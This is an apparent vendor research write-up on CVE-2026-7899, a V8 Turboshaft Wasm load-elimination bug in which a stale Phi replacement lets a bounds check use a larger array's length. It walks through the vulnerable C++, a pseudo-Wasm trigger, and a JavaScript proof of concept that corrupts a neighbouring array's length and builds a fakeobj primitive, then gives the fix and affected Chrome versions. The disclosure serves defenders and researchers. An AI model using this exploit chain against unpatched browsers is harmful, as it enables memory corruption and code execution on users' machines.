---
title: "Check Your Motor Oil Before Turbocharging: CVE-2026-7899, When V8's Optimization Engine Builds Up Carbon"
description: "In April, we reported a severe vulnerability in V8, the JavaScript and WebAssembly engine used by Chrome. This vulnerability enabled remote code execution in Chrome’s renderer process. This writeup will cover the technical details of the vulnerability. The research was performed with internal tool Mnemosyne, by Project WhatForLunch browser security team at NebuSec, led by @xia0o0o0o and @rcv"
url: https://nebusec.ai/research/v8-turboshaft-wasm-phiop-cve-2026-7899/
published: 2026-08-27T00:00:00.000Z
---

# Check Your Motor Oil Before Turbocharging: CVE-2026-7899, When V8's Optimization Engine Builds Up Carbon

@xia0o0o0o, @rcv · August 27, 2026 · 10 min read

* [chrome](https://nebusec.ai/tags/chrome)
* [vulnerability](https://nebusec.ai/tags/vulnerability)
* [CVE-2026-7899](https://nebusec.ai/tags/CVE-2026-7899)
* [writeup](https://nebusec.ai/tags/writeup)

Table of contents

* [Background](#background)
* [WebAssembly compilation in V8](#webassembly-compilation-in-v8)
* [Wasm GC arrays and structs](#wasm-gc-arrays-and-structs)
* [Loops and analysis revisits](#loops-and-analysis-revisits)
* [Wasm load elimination](#wasm-load-elimination)
* [The Bug](#the-bug)
* [Building the stale replacement](#building-the-stale-replacement)
* [The first analysis pass](#the-first-analysis-pass)
* [The loop revisit](#the-loop-revisit)
* [Exploitation](#exploitation)
* [Corrupting a victim array length](#corrupting-a-victim-array-length)
* [From the corrupted length to fakeobj](#from-the-corrupted-length-to-fakeobj)
* [Appendix](#appendix)
* [Timeline](#timeline)
* [Mitigation](#mitigation)
* [Affected versions](#affected-versions)
* [Acknowledgements](#acknowledgements)
* [Disclosure policy](#disclosure-policy)

> In April, we reported a severe vulnerability in V8, the JavaScript and WebAssembly engine used by Chrome. This vulnerability enabled remote code execution in Chrome’s renderer process. This writeup will cover the technical details of the vulnerability. The vulnerability was originally discovered and exploited by Nebula Security, winning a $55,000 bug bounty from Chrome VRP.

## Background

Before discussing the bug, it is useful to cover the pieces of V8 and compiler internals that interact here: V8’s WebAssembly compilation pipeline, Wasm GC arrays, [Phi nodes](https://nebusec.ai/research/v8-maglev-incorrect-phis-untagging.md#phi-nodes), and Turboshaft’s Wasm load-elimination pass.

### WebAssembly compilation in V8

V8 uses two main compilers for WebAssembly. Liftoff is the baseline compiler. It compiles a function quickly so that execution can begin with little startup delay, but it performs relatively few optimizations. Hot Wasm functions can later be compiled by TurboFan, V8’s optimizing compiler, which spends more time producing faster machine code.

Turboshaft is the control-flow-graph-based optimizing IR and compiler backend framework used in the optimizing pipeline. At the version relevant to this bug, Wasm operations such as `array.get`, `array.set`, `array.len`, `struct.get`, and `struct.set` were represented as Turboshaft operations before being lowered to machine-level loads, stores, and checks.

Unlike a linear instruction stream, a Turboshaft graph is divided into basic blocks connected by control-flow edges. Operations refer to their inputs through `OpIndex` values. Compiler passes can analyze the input graph, record that one operation is equivalent to another, and then build a new graph in which the redundant operation is replaced.

For example, suppose the graph contains two loads of the same field and there is no store to that field between them:

```plaintext
v1 = StructGet(object, field0)
v2 = StructGet(object, field0)
```

The second load can be replaced with `v1`:

```plaintext
v1 = StructGet(object, field0)
v2 = v1
```

This is safe only while the compiler’s model of memory is correct. If a store might have changed `field0`, the second load has to remain in the graph.

### Wasm GC arrays and structs

WebAssembly GC adds typed, garbage-collected structs and arrays. A module can declare an array of mutable `i32` values and a struct containing a mutable reference to that array:

```wasm
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))
```

The instructions used in this writeup have direct meanings:

* `array.new_default $arr` allocates an array and initializes each element to the default value of its type.
* `array.len` returns the array’s length.
* `array.get` and `array.set` read and write an element.
* `struct.get` and `struct.set` read and write a struct field.

Wasm requires an out-of-bounds array access to trap. When V8 builds the Turboshaft graph for an `array.set`, it first emits a bounds check that is conceptually equivalent to:

```plaintext
length = ArrayLength(array)
if (!(index < length)) {
  trap ArrayOutOfBounds
}
ArraySet(array, index, value)
```

The `ArrayLength` used by the check is an ordinary graph operation, so it can be optimized. If the compiler proves that the array was allocated with length 8, it can replace the load with the constant `8`. A later optimization may then fold a check such as `3 < 8` to true.

The crucial safety requirement is that the array whose length was used for the check must be the same array that is passed to the element access. If the check uses one array’s length but the store uses another array, the access is no longer protected by the runtime object’s actual bounds.

In V8’s object layout, a `WasmArray` stores a 32-bit length in its header, followed by its inline elements. Its allocation size depends on that length and the element size. A `WasmStruct` similarly stores its fields inline after its object header. These details become useful when turning the compiler bug into a more powerful primitive.

### Loops and analysis revisits

Loops make this analysis more complicated. A loop header normally has at least two predecessors:

* A forward edge entering the loop for the first time.
* A backedge returning from the loop body.

On the first visit, the compiler has not analyzed the backedge yet. It begins with the state from the forward edge, walks the loop body, and records the state produced at the backedge. It can then merge the two states and revisit the loop if the backedge changed something the first analysis assumed.

Suppose a struct field points to `big` before the loop, but the loop body stores `small` into the field:

```plaintext
Before loop: holder.field0 = big
Loop body:   holder.field0 = small
```

During the first analysis, a load of `holder.field0` can resolve to `big`. After the backedge is considered, the loop header can no longer assume that the field is always `big`: on a later iteration it may contain `small`. The second analysis must therefore withdraw any optimization that depended on the earlier value.

This is a fixed-point computation. The analysis is finished only when revisiting the loop no longer changes the tracked state. Correctness requires both adding newly discovered replacements and clearing replacements that have stopped being valid.

### Wasm load elimination

The `WasmLoadEliminationAnalyzer` tracks memory facts and proposed operation replacements in side tables. For a `struct.get`, it asks whether the same field already has a known value. For an array allocation, it records the allocation’s length as the known value of a synthetic array-length field.

The relevant allocation handler is:

```cpp
void WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray(
    OpIndex op_idx, const WasmAllocateArrayOp& alloc) {
  non_aliasing_objects_.Set(op_idx, true);
  static constexpr int offset = wle::kArrayLengthFieldIndex;
  memory_.InsertLoadLike(op_idx, offset, alloc.length());
}
```

`kArrayLengthFieldIndex` lets the pass model an array’s length like a load from a special field. If an `ArrayLength` later refers to the same resolved base, `ProcessArrayLength` can reuse the recorded value:

```cpp
void WasmLoadEliminationAnalyzer::ProcessArrayLength(
    OpIndex op_idx, const ArrayLengthOp& length) {
  static constexpr int offset = wle::kArrayLengthFieldIndex;
  OpIndex existing = memory_.FindLoadLike(length.array(), offset);
  if (existing.valid()) {
    replacements_[op_idx] = existing;
    return;
  }
  replacements_[op_idx] = OpIndex::Invalid();
  memory_.InsertLoadLike(length.array(), offset, op_idx);
}
```

The call to `FindLoadLike` resolves known base replacements. Therefore, if a Phi is known to be equivalent to `big`, an `ArrayLength` whose input is that Phi can find the length recorded when `big` was allocated.

Recall: What does load elimination change?

The element access still uses the runtime array selected by the Phi. The optimization replaces the `ArrayLength` used by its bounds check. If that replacement is stale, the check and the access can refer to different arrays.

## The Bug

The bug was in `WasmLoadEliminationAnalyzer::ProcessPhi`:

```cpp
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx,
                                             const PhiOp& phi) {
  InvalidateAllNonAliasingInputs(phi);

  base::Vector<const OpIndex> inputs = phi.inputs();
  // This copies some of the functionality of {RequiredOptimizationReducer}:
  // Phis whose inputs are all the same value can be replaced by that value.
  // We need to have this logic here because interleaving it with other cases
  // of load elimination can unlock further optimizations: simplifying Phis
  // can allow elimination of more loads, which can then allow simplification
  // of even more Phis.
  if (inputs.size() > 0) {
    bool same_inputs = true;
    OpIndex first = memory_.ResolveBase(inputs.first());
    for (const OpIndex& input : inputs.SubVectorFrom(1)) {
      if (memory_.ResolveBase(input) != first) {
        same_inputs = false;
        break;
      }
    }
    if (same_inputs) {
      replacements_[op_idx] = first;
    }
  }
}
```

The function first resolves each Phi input through the pass’s existing replacement table. If every input resolves to the same `OpIndex`, it records the first input as the Phi’s replacement:

```cpp
if (same_inputs) {
  replacements_[op_idx] = first;
}
```

However, there was no corresponding `else` branch. If a previous visit found equal inputs but a later loop revisit found different inputs, the old entry in `replacements_` remained unchanged.

This behavior was inconsistent with other handlers in the same analyzer. Both `ProcessStructGet` and `ProcessArrayLength` explicitly invalidate a previous replacement when they can no longer eliminate the current operation:

```cpp
replacements_[op_idx] = OpIndex::Invalid();
```

For Phi nodes, the replacement was sticky. Once a Phi had been recorded as equivalent to an input, a later analysis could fail to prove that equivalence without withdrawing it.

### Building the stale replacement

The following pseudo-Wasm contains all the control flow needed to trigger the bug:

```wasm
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))

(func
  (local $holder (ref $holder))
  (local $big (ref $arr))
  (local $small (ref $arr))
  (local $i i32)

  i32.const 8
  array.new_default $arr
  local.set $big

  i32.const 1
  array.new_default $arr
  local.set $small

  local.get $big
  struct.new $holder
  local.set $holder

  i32.const 2
  local.set $i

  loop
    local.get $i
    i32.const 2
    i32.eq
    if (result (ref $arr))
      local.get $big
    else
      local.get $holder
      struct.get $holder 0
    end

    i32.const 3
    i32.const 0x40
    array.set $arr

    local.get $holder
    local.get $small
    struct.set $holder 0

    local.get $i
    i32.const 1
    i32.sub
    local.tee $i
    br_if 0
  end)
```

There are two arrays: `big` has length 8, while `small` has length 1. The mutable field `holder.field0` initially contains `big`. Inside the loop, an `if` produces either `big` or the result of loading `holder.field0`. That merged array becomes the input to an `array.set` at index 3. At the end of the body, `holder.field0` is changed to `small` before the loop takes its backedge.

### The first analysis pass

Before analyzing the backedge, the memory table knows:

```plaintext
holder.field0 = big
length(big) = 8
length(small) = 1
```

The `StructGet(holder, field0)` in the second branch can therefore be eliminated to `big`. The merge Phi has these inputs after resolving bases:

```plaintext
Phi(big, ResolveBase(StructGet(holder, field0)))
Phi(big, big)
```

`ProcessPhi` records:

```plaintext
replacements_[phi] = big
```

The bounds check for `array.set` contains `ArrayLength(phi)`. Since `ResolveBase(phi)` is now `big`, `ProcessArrayLength` finds the length inserted when `big` was allocated and records the constant `8` as the length operation’s replacement.

Later in the loop body, `StructSet(holder, field0, small)` changes the tracked field value and produces a different state for the backedge. That difference causes the loop to be revisited.

### The loop revisit

When the forward-edge and backedge states are merged, the analyzer can no longer say that `holder.field0` always contains `big`. On the revisit, `ProcessStructGet` does not find an existing value for the field, so it correctly clears its previous replacement.

The Phi now resolves as:

```plaintext
Phi(big, StructGet(holder, field0))
```

Its two inputs are no longer identical. `same_inputs` becomes false, but the vulnerable `ProcessPhi` simply reaches the end of the function. The earlier entry remains:

```plaintext
replacements_[phi] = big  // stale
```

When the bounds check’s `ArrayLength(phi)` is processed again, `ResolveBase(phi)` still follows that stale entry to `big`. The compiler therefore continues to use `8` as the length in the check.

At runtime, the behavior across the two loop iterations is different:

```plaintext
Iteration 1: Phi selects big,   then holder.field0 becomes small
Iteration 2: Phi loads small,  but the bounds check still uses length 8
```

Index 3 is in bounds for `big`, so the optimized check succeeds. But on the second iteration the actual store operates on `small`, whose length is only 1. V8 performs the element store beyond the end of the runtime array instead of trapping.

The important distinction is that the pass does not replace the runtime array selected by the Phi with `big`. It incorrectly replaces the `ArrayLength` used by the bounds check. This leaves a small runtime array protected by a large array’s length.

## Exploitation

### Corrupting a victim array length

We first set up 3 arrays:

* `big`, with length 8, provides the stale length used by the compiler.
* `small`, with length 1, receives the out-of-bounds store.
* `victim`, also with length 1, is allocated immediately after `small`.

The core trigger function is:

```js
const arr = builder.addArray(kWasmI32, { final: true });
const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);

const bigLen = 8;
const smallLen = 1;
const victimInit = 0x12345678;
const expandedVictimLen = 0x40;

const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
const gHolder = builder.addGlobal(wasmRefNullType(holder), true);

builder.addFunction('expand_victim_length', makeSig([], []))
  .addLocals(wasmRefType(holder), 1)
  .addLocals(wasmRefType(arr), 3)
  .addLocals(kWasmI32, 1)
  .addBody([
    kExprI32Const, bigLen,
    kGCPrefix, kExprArrayNewDefault, arr,
    kExprLocalSet, 1,

    kExprI32Const, smallLen,
    kGCPrefix, kExprArrayNewDefault, arr,
    kExprLocalSet, 2,

    kExprI32Const, smallLen,
    kGCPrefix, kExprArrayNewDefault, arr,
    kExprLocalSet, 3,

    kExprLocalGet, 3,
    kExprI32Const, 0,
    ...wasmI32Const(victimInit),
    kGCPrefix, kExprArraySet, arr,

    kExprLocalGet, 1,
    kGCPrefix, kExprStructNew, holder,
    kExprLocalSet, 0,

    kExprLocalGet, 3,
    kExprGlobalSet, gVictim.index,
    kExprLocalGet, 0,
    kExprGlobalSet, gHolder.index,

    kExprI32Const, 2,
    kExprLocalSet, 4,

    kExprLoop, kWasmVoid,
    kExprLocalGet, 4,
    kExprI32Const, 2,
    kExprI32Eq,
    kExprIf, kWasmRef, arr,
    kExprLocalGet, 1,
    kExprElse,
    kExprLocalGet, 0,
    kGCPrefix, kExprStructGet, holder, 0,
    kExprEnd,
    kExprI32Const, 3,
    kExprI32Const, expandedVictimLen,
    kGCPrefix, kExprArraySet, arr,

    kExprLocalGet, 0,
    kExprLocalGet, 2,
    kGCPrefix, kExprStructSet, holder, 0,

    kExprLocalGet, 4,
    kExprI32Const, 1,
    kExprI32Sub,
    kExprLocalTee, 4,
    kExprBrIf, 0,
    kExprEnd,
  ])
  .exportFunc();
```

On the first runtime iteration, the `if` selects `big`, so writing index 3 is legitimate. The subsequent `struct.set` changes the holder’s field to `small`. On the second iteration, the `if` loads `small` from the holder. The stale length replacement lets the same index-3 store proceed even though `small.length` is 1.

In the x64 pointer-compression layout used by the proof of concept, a one-element `i32` Wasm array occupies four 4-byte slots: the map, the inherited `properties_or_hash` field, the length, and element zero. In the validation run, the consecutive allocations place `victim` immediately after `small`, so `small[3]` overlaps the length field of `victim`:

```plaintext
small:  [ map ][ properties ][ length = 1 ][ element 0 ]
victim: [ map ][ properties ][ length = 1 ][ element 0 ]
                              ^
                              small[3]
```

The out-of-bounds store writes `0x40` into that field. The physical allocation still contains space for one element, but subsequent bounds checks now observe a forged victim length of 64.

The module exports helpers that access the victim through its global reference:

```js
builder.addFunction('victim_read', kSig_i_i)
  .addBody([
    kExprGlobalGet, gVictim.index,
    kExprLocalGet, 0,
    kGCPrefix, kExprArrayGet, arr,
  ])
  .exportFunc();

builder.addFunction('victim_write', kSig_v_ii)
  .addBody([
    kExprGlobalGet, gVictim.index,
    kExprLocalGet, 0,
    kExprLocalGet, 1,
    kGCPrefix, kExprArraySet, arr,
  ])
  .exportFunc();
```

After `expand_victim_length` returns, these helpers trust the corrupted length. Indices from 1 through 63 pass their ordinary Wasm bounds checks even though they access memory beyond the original victim allocation.

### From the corrupted length to fakeobj

The validation run similarly places the `holder` struct immediately after `victim`. In this layout, `victim[3]` overlaps `holder.field0`, which contains a compressed reference to a Wasm array:

```plaintext
victim: [ map ][ properties ][ length = 0x40 ][ element 0 ]
holder: [ map ][ properties ][ field0                    ]
                              ^
                              victim[3]
```

Because the victim’s forged length is 64, index 3 is considered valid. Writing an attacker-chosen 32-bit value at this index replaces the holder’s array reference. The exported getter then converts that field to an `externref` and returns it to JavaScript:

```js
builder.addFunction('get_holder', kSig_r_v)
  .addBody([
    kExprGlobalGet, gHolder.index,
    kGCPrefix, kExprStructGet, holder, 0,
    kGCPrefix, kExprExternConvertAny,
  ])
  .exportFunc();
```

The primitive itself is only a few lines:

```js
wasm.expand_victim_length();

function fakeobj(addr) {
  addr = Number(addr);
  wasm.victim_write(3, addr);
  return wasm.get_holder();
}
```

`victim_write` places `addr` into the reference field, and `get_holder` returns the resulting reference as a JavaScript value. With an appropriately encoded address for this V8 configuration, attacker-controlled pointer bits are therefore interpreted as an object, giving the initial `fakeobj` primitive.

## Appendix

### Timeline

* 2026-04-23: We reported the bug to Google.
* 2026-04-23: Google acknowledged the report and started investigating.
* 2026-04-23: Google identified the root cause and finished the fix.
* 2026-05-05: The fix was released in Chrome 148.0.7778.96.
* 2026-08-27: We published this blog post.

### Mitigation

The fix clears the recorded Phi replacement when its resolved inputs are no longer identical.

```diff
diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
index e15a7d6cd93..e1b415f5d87 100644
--- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h
+++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
@@ -987,6 +987,8 @@ void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
     }
     if (same_inputs) {
       replacements_[op_idx] = first;
+    } else {
+      replacements_[op_idx] = OpIndex::Invalid();
     }
   }
 }
```

For users, please update to the latest version of Chrome.

### Affected versions

The bug was introduced in Chrome 121 in the nondefault feature `--turboshaft-wasm-load-elimination`, which was made default in Chrome 132, and the bug is fixed in Chrome 148. Any Chrome version between 132 and 148 is affected.

### Acknowledgements

We would like to thank the V8 team for their quick response and thorough investigation of this issue.

### Disclosure policy

For all bugs found during our research, we follow our standard 90+30 days disclosure policy as described on our [About page](https://nebusec.ai/about.md).
